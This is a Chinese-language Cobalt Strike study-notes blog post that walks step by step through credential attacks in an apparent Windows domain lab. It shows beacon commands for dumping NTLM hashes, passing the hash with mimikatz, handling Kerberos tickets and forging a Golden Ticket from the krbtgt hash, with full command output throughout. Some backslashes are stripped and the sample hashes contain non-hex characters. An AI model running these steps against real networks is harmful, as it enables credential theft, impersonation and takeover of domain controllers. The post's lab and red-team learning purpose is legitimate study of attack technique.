CS学习笔记 | 18、密码哈希散列设置信任

时间:2022-07-24
本文章向大家介绍CS学习笔记 | 18、密码哈希散列设置信任,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

0x00 前言

继续上一节密码哈希的部分,在上一节中讲到了使用密码生成用户的令牌,从而取得系统的信任,这一节将介绍使用密码的哈希值来取得系统的信任。

0x01 密码哈希

首先使用 hashdump 获取用户的密码哈希值,这里的 beacon 会话为 SYSTEM 权限。

beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82501 bytes
[+] received password hashes:
Administrator:500:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Daniel:1000:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Guest:501:aca3b435b5z404eeaad3f435b51404he:31d6cfe0d16ae931b73c59d7e0c089c0:::
TeamsSix:1002:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::

使用 pth 获取信任

beacon> pth TEAMSSIXAdministrator 12cb161bvca930994x00cbc0aczf06d1
[+] host called home, sent: 23 bytes
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:Administrator /domain:TEAMSSIX /ntlm:12cb161bvca930994x00cbc0aczf06d1 /run:"%COMSPEC% /c echo ade660d8dce > \.pipe8d3e4c" command
[+] host called home, sent: 750600 bytes
[+] host called home, sent: 71 bytes
[+] Impersonated NT AUTHORITYSYSTEM
[+] received output:
user    : Administrator
domain    : TEAMSSIX
program    : C:Windowssystem32cmd.exe /c echo ade660d8dce > \.pipe8d3e4c
impers.    : no
NTLM    : 12cb161bvca930994x00cbc0aczf06d1
  |  PID  2992
  |  TID  5028
  |  LSA Process is now R/W
  |  LUID 0 ; 14812112 (00000000:00e203d0)
  _ msv1_0   - data copy @ 0000000001794E80 : OK !
  _ kerberos - data copy @ 000000000044A188
   _ aes256_hmac       -> null
   _ aes128_hmac       -> null
   _ rc4_hmac_nt       OK
   _ rc4_hmac_old      OK
   _ rc4_md4           OK
   _ rc4_hmac_nt_exp   OK
   _ rc4_hmac_old_exp  OK
   _ *Password replace @ 00000000017DA1E8 (16) -> null

beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami}
[*] Tasked beacon to run: Invoke-Command -computer WinDC -ScriptBlock {whoami}
[+] host called home, sent: 231 bytes
[+] received output:
teamssixadministrator

0x02 Kerberos 票据

关于 Kerberos 的介绍可以查看知乎上的一篇文章,比较形象生动,文章地址:https://www.zhihu.com/question/22177404

查看有哪些 Kerberos 票据

shell klist

除去 kerberos 票据

kerberos_ticket_purge

加载 kerberos 票据

kerberos_ticket_use [/path/to/file.ticket]

0x03 黄金票据

黄金票据 Golden Ticket 是 KRBTGT 帐户的 Kerberos 身份验证令牌,KRBTGT 帐户是一个特殊的隐藏帐户,用于加密 DC 的所有身份验证令牌。然后黄金票据可以使用哈希传递技术登录到任何帐户,从而使攻击者可以在网络内部不受注意地移动。

使用 mimikatz 伪造黄金票据需要:

1、目标的用户名及域名

2、域的 SID 值

域的 SID 值即安全标识符 Security Identifiers,使用 whoami /user 命令可查看,注意不需要 SID 最后的一组数字。

beacon> shell whoami /user
[*] Tasked beacon to run: whoami /user
[+] host called home, sent: 43 bytes
[+] received output:

用户信息
----------------

用户名        SID
============= ============================================
teamssixdaniel S-1-5-21-5311978431-183514165-284342044-1000

因为不需要 SID 最后一组数字,所以这里要使用的 SID 值也就是 S-1-5-21-5311978431-183514165-284342044

3、DC 中 KRBTGT 用户的 NTLM 哈希

DC 中 KRBTGT 用户的 NTLM 哈希可以通过 dcsync 或 hashdump 获得,下面的 hashdump 命令在域控制器的 SYSTEM 权限会话下运行。

beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82501 bytes
[+] received password hashes:
Administrator:500:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Guest:501:aca3b435b5z404eeaad3f435b51404he:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aca3b435b5z404eeaad3f435b51404he:z1f8417a00az34scwb0dc15x66z43bg1:::
daniel:1108:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::

Cobalt Strike 在 Access -> Golden Ticket 中可以打开生成黄金票据的界面。

信息填完之后,选择 Build,需要注意 Domain 需要填写成 FQDN Fully Qualified Domain Name 完全合格域名 格式,即类似于 teamssix.com 的格式。

此时可以通过 shell dir \hostC$ 检查自己是否有权限,也可以使用 PowerShell 运行 whoami 查看自己是谁。

beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami}
[*] Tasked beacon to run: Invoke-Command -computer WinDC -ScriptBlock {whoami}
[+] host called home, sent: 203 bytes
[+] received output:
teamssixadministrator

原文链接:https://www.teamssix.com/year/200419-150630.html 参考链接: https://www.bilibili.com/video/BV16b411i7n5 https://www.varonis.com/blog/kerberos-how-to-stop-golden-tickets/


往期推荐

CS学习笔记 | 17、登录验证的难点

CS学习笔记 | 16、用户枚举三个关键步骤

CS学习笔记 | 15、枚举的命令和方法